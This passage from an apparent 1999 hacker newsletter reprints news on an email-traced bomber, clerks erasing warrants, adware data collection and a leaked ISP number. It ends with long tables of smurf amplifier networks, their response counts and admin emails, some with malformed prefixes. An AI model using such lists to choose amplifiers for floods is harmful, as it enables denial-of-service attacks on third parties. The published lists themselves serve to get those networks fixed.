Improvement stores. Five people where hurt in the bombings, one of them seriously. (When will people learn, Hotmail is not anonymous.) The Charlotte Observer http://www.charlotte.com/click/wiretech/pub/lowes.htm Posted at 10:19 a.m. EST Monday, November 22, 1999 Alleged bomber was tracked through e-mail account GREENSBORO (AP) -- The suspect accused of planting bombs and extorting money from Lowe's Home Improvement stores was tracked to his Greensboro home by his use of an Internet e-mail account, according to an FBI affidavit. Investigators say George Rocha slipped up when he accessed an e-mail account he had created with a fictitious name with his home computer instead of using public computers at libraries, his normal practice. Federal agents arrested Rocha, 51, on Nov. 12 and charged him with bombing Lowe's stores in Asheboro and Salisbury and planting a third bomb at a Concord store. Five people were hurt, one of them seriously. The FBI's Computer Crime Unit in Charlotte, one of only eight in the country, followed a trail of e-mail messages that led to the Baltic country of Latvia, where a bank account was opened and received the $250,000 Lowe's paid to stop the bombings. Chris Swecker, FBI special agent in charge for North Carolina, said an FBI agent stationed in the nearby country of Estonia was in contact with the Paritate Bank in Riga, Latvia, "minutes after the money transfer." The agent determined that the signature on the account was listed as Bruce J. Phillips, a name the FBI soon found to be fictitious. The FBI saw an e-mail the bank received from "Bruce Phillips" on Nov. 1 that used the e-mail address "brucephillips99hotmail.com" Hotmail is a free Internet mail service used by many people, especially people who travel a lot, said Greensboro detective Mark Steed, whose job includes investigating computer crimes. Anyone can establish an account with Hotmail in minutes, using a fictitious name and other fictitious information, Steed said. "It's a legitimate service, yes, but it's also used by some people for purposes that are not legitimate," he said. Knowing the name "Bruce Phillips" and the corresponding e-mail address was a major break for the FBI. Working from Hotmail's records, agents discovered that the fictitious account had been used at a public computer at the Greensboro Public Library and computers in Forsyth County and BellSouth.net Inc. Greensboro Public Library director Sandy Neerman said FBI agents served her with a court order to produce files showing who had used the library's public computers during the dates corresponding to the e-mail transfers using the account. Library patrons have to sign up on a list to use the library computer. Tracking Rocha to those computers would have been difficult, Swecker acknowledged, but using his home computer to access the Hotmail account made the FBI's job easier. Caller identification at BellSouth identified a telephone number listed as belonging to George Rocha, 4246 Princeton Ave., Greensboro. AP-ES-11-22-99 0039EST @HWA 29.0 County Clerks Delete Arrest Warrants ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Evil Wench Three county clerks, in Dade County Florida, face computer tampering charges for allegedly tapping into courthouse computers to erase arrest warrants. All three clerks where long time employees at the courthouse. Miami Sun-Sentinel http://www.sun-sentinel.com/news/daily/detail/0,1136,24500000000135545,00.html Police: Clerks erased arrest warrants from Miami-Dade courthouse computers Associated Press Web-posted: 8:20 a.m. Nov. 23, 1999 MIAMI -- Three county clerks face computer tampering charges for allegedly tapping into courthouse computers to erase arrest warrants. Miami-Dade Police public corruption detectives on Monday arrested Salome C. Rodriguez, Patricia Speights and Elsie Darbouze-Jones. "These were employees entrusted with access to the computer system," said Miami-Dade Police spokesman Juan DelCastillo. "This is simple. It isn't for money; it's for their own personal benefit." Police said Rodriguez, 32, an eight-year county employee, allegedly logged into the computer at her Coral Gables Courthouse workplace to delete a warrant for her arrest. Her legal troubles stemmed from a traffic ticket for no car insurance. Her license was suspended and a warrant was issued when she didn't pay the ticket. Rodriguez was charged with five counts of official misconduct because each time she missed a court appearance, she'd do it again, DelCastillo said. She is also accused of erasing an arrest warrant for a man who did not pay a ticket received for failure to yield. Police believe the man is her father. Speights, 41, and Darbouze-Jones, 27, are accused of doing the same thing at another courthouse. Supervisors told police Darbouze-Jones got Speights to erase a pending warrant against Darbouze-Jones' husband, who had five unpaid traffic tickets. Speights and Darbouze-Jones received 11 felony counts -- one for each time they tampered with a ticket. All three clerks were fired, but Speights got her job back -- with a demotion. Speights and Darbouze-Jones were still in jail Monday. @HWA 30.0 Trojan Advertising? ~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Nicole Advertising banners on web sites and within Freeware applications such as PKZip can gather information such as the applications running on a machine, user names, its IP address, and other network related information and send that information back to the creator of the software. The software is produced by US software firm Conducent to gather computer and network information by using a stealth application buried within the freeware program or banner ad. (If this isn't labeled as a Trojan then I lose all faith in the AV industry) ZD Net UK http://www.zdnet.co.uk/news/1999/46/ns-11692.html Conducent http://www.conducent.com/ ZDNET; Banner 'bug' sucks data through the Web Wed, 24 Nov 1999 11:38:33 GMT Will Knight Data about apps, IP address and the network are uncovered by banner 'bugs' Advertising banners produced by US software firm Conducent gather computer and network information by using a stealth application buried within the freeware program according to security newsletter, The Risk Digest. Bill Royds, contributor to the Digest, discovered that the advertising application provided by Conducent for freeWare Windows applications such as PKZIP collects details about a user's computer and sends it back to Conducent's headquarters when a computer is connected to the Internet. Royds says the information includes data on the applications running on a machine, as well as its IP address and information about the network it is connected to. As an example, Royds says PKZIP gathers network IP addresses as well as information on NetBIOS. He claims it can also gather user names. Royds points out that that this could potentially compromise security by revealing IP network status information. "This is very similar to the Trojan horses that worry people so much. If someone was able to intercept these transmissions they could determine internal network and personal information about a user. Many users would not install these programs if they realised the nature of how the advertising works." Royds did intercept that IP information and forwarded it to ZDNet UK News. Conducent says there is nothing to worry about. A spokeswoman for Conducent says computer users are always made aware of the personal information they are providing before installation and claims Conducent does little more than gather IP addresses. "All the Conducent freeware is duly noted as such when installation occurs. It is up to the user to take the time to read the installation notes wherein the advertising-supported version of the software is explained comprehensively." The speokeswoman criticises Royd's concerns as excessive. "Calling Conducent technology a Trojan, or a virus, assumes we're sending files -- or extracting information -- without the user's permission. We are not forcing free, ad-supported software on users. They are choosing to download it of their own volition, and as they so, information about their selection is contained in the installation notes." According to Robin Bynoe of Charles Russell solicitors, gathering IP addresses as well as user names may well contravene European data protection regulations as Royd notes. However Conducent distributes software via the Internet and has no offices in the UK meaning that if a British customer had a complaint there would be little chance recourse. Says Bynoe, "If they are located in the US and are holding information in the US this comes outside the scope of UK law. If they are simply collecting a bank of IP adresses, this may not be a breach of the data protection act." @HWA 31.0 English ISP Mistakenly Gives Out Free Access ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Previously reported as a BT freephone gimmick by the ISP it turns out to be an error and free access was not the intention for any reason (whups) - Ed From HNN http://www.hackernews.com/ contributed by no0ne A security breach gave an unknown number of users access to the net via City Connection's free fone number. City Connection's, a fairly new ISP in England, 0800 number was published on several newsgroups and has finally been shut down. The identity of the person who leaked the number is still unknown. The UK Register http://www.theregister.co.uk/991124-000010.html Posted 24/11/99 2:52pm by Tim Richardson Net user leap on leaked ISP freefone number An undisclosed number of Net users managed to gain unauthorised freephone access to the Net last night following the leak of confidential information yesterday. Although not the most auspicious start to a new venture, Tom Defty, MD of new kid on the block ISP City Connections, said that last night's assault only cost the company just Ł254. The 0800 number -- published on a variety of newsgroups yesterday -- has now been shut down, he said, and he denied that the whole episode was a stunt to seek publicity for the service. In a statement Defty said: "I am deeply disappointed by this breach of security... but I can assure you that the service will still be launching on 1 December." At this stage there's still some confusion surrounding the identity of the person who originally leaked the 0800 freephone number. Defty said that BT Security told him it originated from someone with a "BT Corporate account". But a spokesman for BT disputed this. He said he was unaware that the matter had even been reported and after investigating the matter said that the person who leaked the material was from outside the company. That aside, Defty has released information on the new ISP and what it will offer. It seems London-based Easynet will provide the backbone to the service and instead of using 0845 or 0800 numbers to access City Connections, the ISP will employ 150 '01' numbers across the country instead. Using phone companies such as NTL, Telewest, C&W, Transnet and Euphony, Defty claims this will allow users to be eligible for 'free-call access' during off-peak periods. "The service will cost Ł11.75 per month," said Defty. "But if you have a banner (optional) at the bottom of your screen you will receive Ł10 back per month," he said. The ISP has also embarked on a multi-million TV and radio advertising campaign to advertise the service, Defty said. ® @HWA 32.0 SAR Top Ten Smurf Amplifiers for Nov 27th'99 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This used to be a regular feature sorry i've been lagging behind in my duties i've rooted my box and slapped my wrists already tnx - Ed Current top ten smurf amplifiers (updated every 5 minutes) (last update: 1999-11-28 00:26:05 CET) Network #Dups #Incidents Registered at Home AS 212.117.160.0/24 373 0 1999-10-27 22:28 not-analyzed 195.115.119.64/26 327 0 1999-11-19 20:08 not-analyzed 209.233.219.0/24 90 0 1999-06-04 17:56 AS5673 194.70.7.0/24 84 0 1999-11-09 11:22 not-analyzed 132.230.75.0/24 83 0 1999-11-01 00:49 not-analyzed 192.0.0.0/2 73 0 1999-01-04 06:39 not-analyzed 128.0.0.0/1 73 0 1999-01-28 02:36 not-analyzed 195.210.91.0/24 72 0 1999-01-20 00:44 AS1267 128.0.0.0/33 71 0 1998-09-25 18:18 not-analyzed 128.0.0.0/225 71 0 1999-02-10 22:16 not-analyzed 114951 networks have been probed with the SAR 20049 of them are currently broken 14173 have been fixed after being listed here Netscan.org Top 2048 worst amplifier offenders. Note that it's also possible to see the # of replies for any network. Head to the main page and punch in an IP. Last rescan: Fri Oct 22 14:33:26 PDT 1999 RESP ADDR EMAIL ADDRESSES --------------------------------------------------------------------- 2697 207.22.212.255 ipadmin@iamerica.net 448 204.243.120.255 hostinfo@psi.com 261 199.225.7.0 lind@forum.saic.com 250 199.1.223.255 quentin@qns.com 247 207.43.61.255 pflores@wcg.net 242 207.142.180.255 root@unix.triton.net 240 167.192.222.255 jda51@state.ga.us 155 207.204.52.0 rwarren@netusa.net 148 209.84.85.255 ipadmin@gte.net 132 205.169.216.0 postmaster@garfield.k12.co.us 125 199.250.180.255 dnstech@eni.net 123 209.115.108.255 tstroup@fnsi.net 122 207.202.127.255 noc@corp.idt.net 122 207.235.88.255 rickyc@world-net.net 122 209.246.218.255 ipadmin@level3.net 120 195.184.38.255 hein@euroconnect.net 117 205.169.211.0 postmaster@garfield.k12.co.us 114 199.251.102.255 lind@forum.saic.com 112 205.154.156.255 nes@4c.net 107 205.221.196.255 hikep@urbandale.k12.ia.us 106 205.221.196.0 hikep@urbandale.k12.ia.us 105 207.177.41.0 noc@netins.net 105 207.177.41.255 noc@netins.net 104 207.127.47.255 gorlo@enet.com 102 205.221.198.0 hikep@urbandale.k12.ia.us 102 205.221.198.255 hikep@urbandale.k12.ia.us 102 205.221.199.0 hikep@urbandale.k12.ia.us 101 205.221.199.255 hikep@urbandale.k12.ia.us 100 207.127.47.0 gorlo@enet.com 98 208.0.211.255 NOC@sprint.net 97 205.154.156.0 nes@4c.net 92 216.14.26.255 john@telepath.com 90 209.37.134.255 breig@buffnews.com 86 209.20.39.255 netadmin@interlog.net 82 209.140.163.0 darin@good.net 80 200.29.38.0 aaraya@novared.cl 79 200.29.38.255 aaraya@novared.cl 74 209.140.163.255 darin@good.net 72 209.37.134.0 breig@buffnews.com 71 193.48.166.0 Michel.Leduc@univ-lehavre.fr, Serge.Huberson@univ-lehavre.fr 71 205.169.214.0 postmaster@garfield.k12.co.us 70 207.165.185.0 dave.klinkefus@icn.state.ia.us 68 207.28.48.255 dave.klinkefus@icn.state.ia.us 68 207.28.48.0 dave.klinkefus@icn.state.ia.us 64 207.230.219.255 network@centurytel.com 62 209.212.162.255 hostmaster@rhythms.net 61 209.152.182.255 domain@slip.net 60 209.106.20.0 ben@more.net 59 167.199.95.0 jda51@state.ga.us 58 216.20.92.0 jcoco@mec.edu 57 204.48.169.0 tuma@ceo.sbceo.k12.ca.us 57 205.253.196.255 karl@mcs.com 57 209.73.88.255 hostmaster@digilink.net 57 209.17.207.255 dns@america.net 56 193.48.166.255 Michel.Leduc@univ-lehavre.fr, Serge.Huberson@univ-lehavre.fr 56 204.48.142.0 tuma@ceo.sbceo.k12.ca.us 56 209.56.232.0 tdao@aea11.k12.ia.us 56 209.56.232.255 tdao@aea11.k12.ia.us 56 208.129.177.255 nomailbox@nowhere 56 207.194.160.255 domains@bctel.net 54 216.102.167.0 ip-admin@pbi.net 54 207.225.159.255 dns-info@uswest.net 53 198.233.12.0 Don@arapahoe.edu 53 207.213.205.255 andy@ssw1.com 53 207.224.249.0 dlongar@uswest.net 53 207.165.185.255 dave.klinkefus@icn.state.ia.us 53 207.28.60.0 dave.klinkefus@icn.state.ia.us 52 204.48.223.0 tuma@ceo.sbceo.k12.ca.us 52 206.150.74.255 walker@scsn.net 52 207.177.95.0 noc@netins.net 52 207.177.95.255 noc@netins.net 52 209.167.171.255 chris@tntech.com 52 207.28.60.255 dave.klinkefus@icn.state.ia.us 52 210.68.152.255 52 208.202.118.255 jokage@gate.net 51 199.103.248.0 dnsmaster@terra.net 50 199.251.102.0 lind@forum.saic.com 50 208.223.170.255 kambach@brearley.org 50 216.102.245.0 49 209.63.26.255 bradw@tlg.com 48 216.20.20.255 jcoco@mec.edu 48 209.73.236.255 hostmaster@pfmc.net 48 216.101.206.0 ip-admin@pbi.net 47 202.98.5.255 dmkou@publicf.bta.net.cn, yzxu@publicf.bta.net.cn 47 207.152.126.0 Postmaster@popmail.jba.com 47 207.152.126.255 Postmaster@popmail.jba.com 47 209.56.235.0 tdao@aea11.k12.ia.us 46 202.232.119.0 hostmaster@nic.ad.jp 46 202.232.119.255 hostmaster@nic.ad.jp 46 209.21.155.255 hostmaster@harvard.net 46 216.20.20.0 jcoco@mec.edu 46 207.60.165.255 hostmaster@tiac.net 46 206.66.243.0 daniel@webdimensions.com 46 206.66.243.255 daniel@webdimensions.com 46 208.245.231.0 help@uunet.uu.net 45 204.158.26.0 D.Nash@utexas.edu 45 204.158.26.255 D.Nash@utexas.edu 45 209.56.78.0 tdao@aea11.k12.ia.us 44 193.14.29.0 44 198.233.12.255 Don@arapahoe.edu 44 198.64.21.0 hostmaster@sesqui.net 44 198.64.21.255 hostmaster@sesqui.net 44 198.64.22.0 hostmaster@sesqui.net 44 198.64.22.255 hostmaster@sesqui.net 44 208.192.109.255 u09477@serinocoyne.com 43 192.160.217.255 greenup@whittier.edu 43 205.118.50.0 mcleary@uen.org 43 205.118.50.255 mcleary@uen.org 43 207.165.137.0 dave.klinkefus@icn.state.ia.us 43 207.91.84.0 charlie_daneri@jeffersongroup.com 43 207.109.43.0 dns-info@uswest.net 43 207.63.253.0 twilliams@lth6.k12.il.us 43 207.63.254.0 twilliams@lth6.k12.il.us 43 207.63.253.255 twilliams@lth6.k12.il.us 43 207.63.254.255 twilliams@lth6.k12.il.us 42 209.3.130.0 wkrug@atlnet.org 42 209.76.77.0 emorton@shastalink.k12.ca.us 42 209.76.77.255 emorton@shastalink.k12.ca.us 42 209.249.2.0 noc@above.net 42 209.249.2.255 noc@above.net 42 209.55.73.0 jimp@brandx.net 41 198.60.134.0 hall@sandbox.net 41 198.60.134.255 hall@sandbox.net 41 206.0.199.0 hostinfo@psi.com 41 207.213.205.0 andy@ssw1.com 40 192.160.217.0 greenup@whittier.edu 40 192.204.76.255 40 203.95.7.255 zao@stn.sh.cn, sqian@fudan.edu.cn 40 205.143.124.255 rtesta@gia.org 40 207.90.230.255 dnsmaster@infohwy.com 40 207.90.230.0 dnsmaster@infohwy.com 40 207.240.141.255 hostmaster@inch.com 40 207.240.141.0 hostmaster@inch.com 40 209.56.235.255 tdao@aea11.k12.ia.us 39 199.208.243.0 APONTEJ@navstarr.navy.mil 39 199.208.243.255 APONTEJ@navstarr.navy.mil 39 199.73.39.255 hostmaster@clark.net 39 203.139.106.255 hostmaster@nic.ad.jp 39 205.66.98.0 STEVE.GREUNKE@ncts.navy.mil 39 206.136.58.0 mpc@mbsmm.com 39 207.1.177.0 dspeed@midusa.net 39 210.74.232.0 std-gm@online.sh.cn, std-gm@online.sh.cn 39 208.136.70.0 steven_dudley@brunswick.pvt.k12.ct.us 39 208.136.70.255 steven_dudley@brunswick.pvt.k12.ct.us 38 198.233.47.255 danahay@ghs.gunnison.k12.co.us 38 199.208.84.0 38 204.69.110.0 wong@accesscom.net 38 205.169.212.0 postmaster@garfield.k12.co.us 38 207.100.46.255 hostmaster@icix.net 38 216.111.166.0 noc@qwest.net 38 207.196.81.0 hostmaster@clark.net 38 206.77.203.0 D.Nash@utexas.edu 38 206.77.203.255 D.Nash@utexas.edu 38 209.184.150.0 hostmaster@swbell.net 38 207.15.44.0 nomailbox@nowhere 38 207.15.44.255 nomailbox@nowhere 37 164.47.171.255 Mark.Montanez@pcc.cccoes.edu 37 204.181.85.255 jbuchle@staktek.com 37 204.186.98.255 dns-request@ptd.net 37 205.66.98.255 STEVE.GREUNKE@ncts.navy.mil 37 206.0.199.255 hostinfo@psi.com 37 209.63.86.255 kmiller@mhz.com 37 209.7.135.255 wdahlen@mail.isbe.state.il.us 37 209.113.149.0 dhoyt@hoyt.com 37 208.168.82.255 johnf@banet.net 37 208.130.41.0 steven_dudley@brunswick.pvt.k12.ct.us 37 209.152.31.0 hortonh@ednet10.net 37 209.76.78.0 emorton@shastalink.k12.ca.us 37 209.76.78.255 emorton@shastalink.k12.ca.us 36 24.7.20.255 noc@noc.home.net 36 194.57.84.0 Patrice.Koch@univ-fcomte.fr 36 202.184.229.0 36 202.247.6.0 hostmaster@nic.ad.jp 36 204.170.91.0 ens@home.nrhm.cc.pa.us 36 204.170.91.255 ens@home.nrhm.cc.pa.us 36 205.221.147.0 grpjl@iastate.edu 36 205.221.147.255 grpjl@iastate.edu 36 206.13.101.0 nomailbox@nowhere 36 206.13.101.255 nomailbox@nowhere 36 206.13.99.0 gowen@keyinfo.com 36 206.158.44.255 Allen@afmiller.com 36 210.17.1.0 dengwei@access.ttn.com.tw 36 216.111.167.255 noc@qwest.net 36 208.133.75.0 noc@megsinet.net 36 208.133.76.0 noc@megsinet.net 36 208.133.87.0 noc@megsinet.net 36 208.133.75.255 noc@megsinet.net 36 208.133.76.255 noc@megsinet.net 36 208.207.33.0 noc@bigplanet.net 36 209.80.138.0 tom_plati@wellesley.mec.edu 36 208.157.126.0 rodneyl@ctlnet.com 36 216.103.13.0 ip-admin@pbi.net 36 209.76.22.0 kenny@twnetwork.com 36 207.104.102.0 support@access1.net 36 207.104.103.0 support@access1.net 36 207.104.109.0 nomailbox@nowhere 36 216.100.214.0 sysadmin@access1.net 36 209.76.22.255 kenny@twnetwork.com 36 207.104.102.255 support@access1.net 36 207.104.103.255 support@access1.net 36 207.104.109.255 nomailbox@nowhere 36 216.100.214.255 sysadmin@access1.net 36 209.7.135.0 wdahlen@mail.isbe.state.il.us 36 216.88.175.255 scotts@blairlake.com 36 210.74.232.255 std-gm@online.sh.cn, std-gm@online.sh.cn 36 208.236.180.0 martyr@acr.org 36 209.184.150.255 hostmaster@swbell.net 36 216.94.12.0 kasper@telehub.com 36 209.47.203.0 registrar@uunet.ca 35 195.90.31.255 guardian@isb.net, nerge@isb.net 35 198.233.47.0 danahay@ghs.gunnison.k12.co.us 35 202.102.32.0 dmkou@publicf.bta.net.cn, pearl.m@public1.ptt.js.cn 35 202.102.32.255 dmkou@publicf.bta.net.cn, pearl.m@public1.ptt.js.cn 35 207.10.165.0 rcm@mmc.marymt.edu 35 216.88.175.0 scotts@blairlake.com 35 207.10.165.255 rcm@mmc.marymt.edu 35 207.136.233.0 topher@madriver.com 35 209.232.131.0 ip-admin@pbi.net 35 209.232.131.255 ip-admin@pbi.net 35 209.47.228.0 chris@tntech.com 35 208.224.40.255 dsoria@leaco.net 35 207.125.25.0 ip-mgr@mail.state.tn.us 35 209.113.148.0 dhoyt@hoyt.com 35 208.9.33.0 nomailbox@nowhere 35 208.9.41.0 nomailbox@nowhere 35 208.9.33.255 nomailbox@nowhere 35 208.9.43.255 nomailbox@nowhere 34 164.47.171.0 Mark.Montanez@pcc.cccoes.edu 34 202.219.144.0 technical@apnic.net 34 203.26.109.255 hostmaster@telstra.net 34 204.60.81.0 cmiller@snet.net 34 205.178.75.0 dave@brainstorm.net 34 205.213.150.255 nic@mail.wiscnet.net 34 206.166.215.0 mwilliam@ptc.dcs.edu 34 207.177.77.255 noc@netins.net 34 206.205.105.0 noc@digex.net 34 207.163.162.0 hostmaster@alameda-coe.k12.ca.us 34 209.3.130.255 wkrug@atlnet.org 34 210.145.18.255 hostmaster@nic.ad.jp 34 206.99.18.0 dsmith@ns.uoregon.edu 34 206.99.18.255 dsmith@ns.uoregon.edu 34 209.141.228.0 admin@trilobyte.net 34 209.141.229.0 admin@trilobyte.net 34 208.9.43.0 nomailbox@nowhere 34 208.9.41.255 nomailbox@nowhere 33 161.223.163.0 33 195.90.31.0 guardian@isb.net, nerge@isb.net 33 199.72.94.0 hostmaster@interpath.net 33 199.72.95.0 hostmaster@interpath.net 33 199.72.95.255 hostmaster@interpath.net 33 199.72.96.0 hostmaster@interpath.net 33 199.72.96.255 hostmaster@interpath.net 33 199.98.170.255 hostinfo@psi.com 33 204.178.107.255 danny@akamai.com 33 204.178.110.0 danny@akamai.com 33 205.216.169.0 sei@vidpbx.com 33 205.216.169.255 sei@vidpbx.com 33 207.223.132.255 Louis_Lee@icgcomm.com 33 207.223.132.0 Louis_Lee@icgcomm.com 33 207.177.7.0 noc@netins.net 33 207.177.77.0 noc@netins.net 33 207.165.137.255 dave.klinkefus@icn.state.ia.us 33 208.168.246.255 kenwhit@remc8.k12.mi.us 33 208.227.145.0 spell@wilmington.net 33 208.227.144.255 spell@wilmington.net 33 210.141.237.0 hostmaster@nic.ad.jp 33 209.187.17.0 dns@cerf.net 33 209.63.86.0 kmiller@mhz.com 33 209.56.78.255 tdao@aea11.k12.ia.us 33 207.28.180.0 dave.klinkefus@icn.state.ia.us 32 161.223.42.255 32 192.174.57.0 32 192.174.57.255 32 192.211.32.255 sawise@mindspring.com, wise@widedata.com 32 195.13.14.0 jmvl@belbone.net, igor@sportmans.com, igor@medelec.uia.ac.be 32 199.105.221.0 dns@cerf.net 32 202.102.13.255 dmkou@publicf.bta.net.cn, pearl.m@public1.ptt.js.cn 32 202.99.41.0 32 204.158.119.0 gjenere@tenet.edu 32 204.158.119.255 gjenere@tenet.edu 32 205.213.150.0 nic@mail.wiscnet.net 32 206.166.208.0 mwilliam@ptc.dcs.edu 32 206.170.111.255 dnsadmin@pbi.net 32 207.177.7.255 noc@netins.net 32 207.163.162.255 hostmaster@alameda-coe.k12.ca.us 32 210.161.135.0 hostmaster@nic.ad.jp 32 207.109.111.0 dns-info@uswest.net 32 207.196.81.255 hostmaster@clark.net 32 207.109.111.255 dns-info@uswest.net 32 207.109.43.255 dns-info@uswest.net 32 209.132.109.0 garyq@wpds.com 32 209.132.109.255 garyq@wpds.com 32 207.250.88.0 hostmaster@inc.net 32 206.222.96.0 diane.rowe@espire.net 32 212.32.168.0 info@norrnod.se, hakan@bostaden.umea.se 32 207.250.88.255 hostmaster@inc.net 32 212.32.168.255 info@norrnod.se, hakan@bostaden.umea.se 32 209.47.228.255 chris@tntech.com 32 212.32.167.0 info@norrnod.se, hakan@bostaden.umea.se 32 208.215.55.0 bo@quicklink.com 32 208.154.220.0 jon@thoughtbubble.com 32 208.154.220.255 jon@thoughtbubble.com 32 207.109.112.255 dns-info@uswest.net 32 207.109.112.0 dns-info@uswest.net 32 207.215.109.255 ichuang@netvip.com 32 208.130.41.255 steven_dudley@brunswick.pvt.k12.ct.us 32 216.51.58.0 technical@kivex.com 32 212.32.164.255 info@norrnod.se, hakan@bostaden.umea.se 31 161.223.163.255 31 161.223.42.0 31 169.139.30.0 hostmaster@mail.firn.edu 31 193.13.234.0 31 198.233.14.0 Don@arapahoe.edu 31 199.111.105.0 jaj@virginia.edu 31 203.2.75.255 mark@cristal.syd.pronet.com 31 204.32.80.0 bille@petersons.com 31 205.169.44.0 wgrendle@csn.net 31 205.187.39.255 Louis_Lee@icgcomm.com 31 205.221.104.0 grpjl@iastate.edu 31 205.221.104.255 grpjl@iastate.edu 31 205.231.58.255 help@uunet.uu.net 31 205.232.18.0 denz@ria.org 31 205.232.18.255 denz@ria.org 31 205.245.2.255 dns-admin@utelfla.com 31 206.166.215.255 mwilliam@ptc.dcs.edu 31 207.214.142.255 kgibbs@porterville.k12.ca.us 31 207.91.84.255 charlie_daneri@jeffersongroup.com 31 210.161.135.255 hostmaster@nic.ad.jp 31 209.47.235.0 pamela@ebean.com 31 209.47.235.255 pamela@ebean.com 31 209.132.105.0 garyq@wpds.com 31 209.233.200.0 ip-admin@pbi.net 31 209.233.200.255 ip-admin@pbi.net 31 209.232.140.0 ip-admin@pbi.net 31 209.232.140.255 ip-admin@pbi.net 31 209.152.31.255 hortonh@ednet10.net 31 212.32.164.0 info@norrnod.se, hakan@bostaden.umea.se 31 212.32.165.0 info@norrnod.se, hakan@bostaden.umea.se 31 212.32.165.255 info@norrnod.se, hakan@bostaden.umea.se 30 63.64.107.0 jshelnutt@ispalliance.net 30 63.64.107.255 jshelnutt@ispalliance.net 30 169.139.30.255 hostmaster@mail.firn.edu 30 192.204.76.0 30 193.13.234.255 30 195.232.126.0 hostmaster@wcom.net 30 199.111.105.255 jaj@virginia.edu 30 202.238.79.0 hostmaster@nic.ad.jp 30 202.238.79.255 hostmaster@nic.ad.jp 30 203.36.239.0 hostmaster@telstra.net 30 204.184.38.255 ben@more.net 30 204.243.42.0 hostinfo@psi.com 30 204.26.36.0 30 205.245.2.0 dns-admin@utelfla.com 30 207.17.200.0 avnet@radicalmedia.com 30 208.234.147.0 nomailbox@nowhere 30 209.48.15.0 dns@digex.net 30 208.10.133.0 nomailbox@nowhere 30 216.100.227.255 ip-admin@pbi.net 30 208.150.32.0 noc@megsinet.net 30 212.32.167.255 info@norrnod.se, hakan@bostaden.umea.se 30 208.20.180.0 aweisblatt@diefenbachelkins.com 30 209.113.148.255 dhoyt@hoyt.com 30 209.113.149.255 dhoyt@hoyt.com 30 209.85.22.0 hostmaster@softaware.com 30 212.32.166.255 info@norrnod.se, hakan@bostaden.umea.se 30 209.106.20.255 ben@more.net 30 209.215.112.0 ipadmin@bellsouth.net 29 193.140.136.0 root@risc01.bim.gantep.edu.tr 29 193.140.196.0 ozturanm@boun.edu.tr, baysalc@boun.edu.tr 29 193.140.196.255 ozturanm@boun.edu.tr, baysalc@boun.edu.tr 29 198.64.44.0 hostmaster@sesqui.net 29 198.76.85.0 dmcginni@ndu.edu 29 198.76.85.255 dmcginni@ndu.edu 29 199.72.140.255 hostmaster@interpath.net 29 202.102.138.255 dmkou@publicf.bta.net.cn, zxf@pub.sd.cninfo.net 29 202.104.151.0 29 202.96.155.0 29 205.160.84.0 NOC@sprint.net 29 205.160.84.255 NOC@sprint.net 29 205.227.63.255 lgoodman@iacnet.com 29 206.166.208.255 mwilliam@ptc.dcs.edu 29 208.218.96.0 mitch@gvtc.com 29 208.218.97.0 mitch@gvtc.com 29 208.218.96.255 mitch@gvtc.com 29 209.140.19.0 darin@good.net 29 209.133.61.255 noc@above.net 29 216.111.115.0 DLAURA@icsa.com 29 207.13.60.0 dnsadmin@sig.net 29 208.237.105.0 rwilhe@luk-us.com 29 209.7.177.0 wdahlen@mail.isbe.state.il.us 29 208.235.248.0 pokeefe@checkfree.com 29 209.7.177.255 wdahlen@mail.isbe.state.il.us 29 208.235.248.255 pokeefe@checkfree.com 29 208.200.99.0 lolszewski@spyglass.com 29 208.200.99.255 lolszewski@spyglass.com 29 207.96.117.0 domreg@erols.com 29 207.96.117.255 domreg@erols.com 29 207.100.21.0 hostmaster@icix.net 29 209.140.26.0 david@discom.net 29 206.72.158.0 david@discom.net 29 207.100.21.255 hostmaster@icix.net 29 207.177.74.255 noc@netins.net 29 206.72.158.255 29 207.177.74.0 noc@netins.net 29 209.39.117.0 netadmin@onramp.net 29 216.146.128.255 mike@bwn.net 29 212.109.0.0 fredrik.graff@powernet.se, rune.gunnarsson@powernet.se, martin.andell@powernet.se 29 209.79.64.0 nomailbox@nowhere 29 209.79.64.255 nomailbox@nowhere 29 212.32.166.0 info@norrnod.se, hakan@bostaden.umea.se 28 192.160.219.255 greenup@whittier.edu 28 193.45.251.0 Bertil.Hanses@trema.com 28 193.48.165.0 Michel.Leduc@univ-lehavre.fr, Serge.Huberson@univ-lehavre.fr 28 193.51.48.0 meunier@ensam.decnet.citilille.fr, mmeunier@mediartis.fr 28 193.51.48.255 meunier@ensam.decnet.citilille.fr, mmeunier@mediartis.fr 28 193.51.50.255 28 193.52.147.255 Gerard.Lietout@univ-rouen.fr 28 193.74.176.0 mdevos@argo.be, Francois.Wouters@gemeenschapsonderwijs.be 28 193.74.176.255 mdevos@argo.be, Francois.Wouters@gemeenschapsonderwijs.be 28 194.151.209.255 said@interclimax.com 28 198.233.14.255 Don@arapahoe.edu 28 200.23.40.0 jescalera@mail.nl.gob.mx 28 202.102.30.0 dmkou@publicf.bta.net.cn, pearl.m@public1.ptt.js.cn 28 204.186.98.0 dns-request@ptd.net 28 204.248.144.0 NOC@sprint.net 28 204.248.144.255 NOC@sprint.net 28 204.26.36.255 28 204.33.167.0 dpp@athena.com 28 204.6.136.0 hostinfo@psi.com 28 205.232.52.255 rcm@mmc.marymt.edu 28 206.140.86.255 lak@aads.net 28 209.140.19.255 darin@good.net 28 216.50.134.0 technical@kivex.com 28 216.111.115.255 DLAURA@icsa.com 28 208.157.56.0 alif@unibaseinc.com 28 216.115.160.0 alif@unibaseinc.com 28 208.157.59.255 alif@unibaseinc.com 28 216.115.160.255 alif@unibaseinc.com 28 208.139.68.0 bharvey@atmi.com 28 208.139.68.255 bharvey@atmi.com 28 208.198.61.255 noc@atlantech.net 28 207.155.93.255 hostmaster@softaware.com 28 209.39.24.255 netadmin@onramp.net 28 207.115.54.0 harrycw@prodigy.net 28 207.115.54.255 harrycw@prodigy.net 28 209.226.149.0 noc@in.bell.ca 28 208.147.191.0 cdc@groupz.net 28 208.147.191.255 cdc@groupz.net 28 208.150.32.255 noc@megsinet.net 28 210.227.226.0 hostmaster@nic.ad.jp 28 209.226.149.255 noc@in.bell.ca 28 208.13.18.255 nomailbox@nowhere 28 208.248.220.255 bill@columbiasussex.com 28 209.167.44.0 endicottg@mlgltd.com 28 207.225.84.0 dlongar@uswest.net 28 208.232.127.0 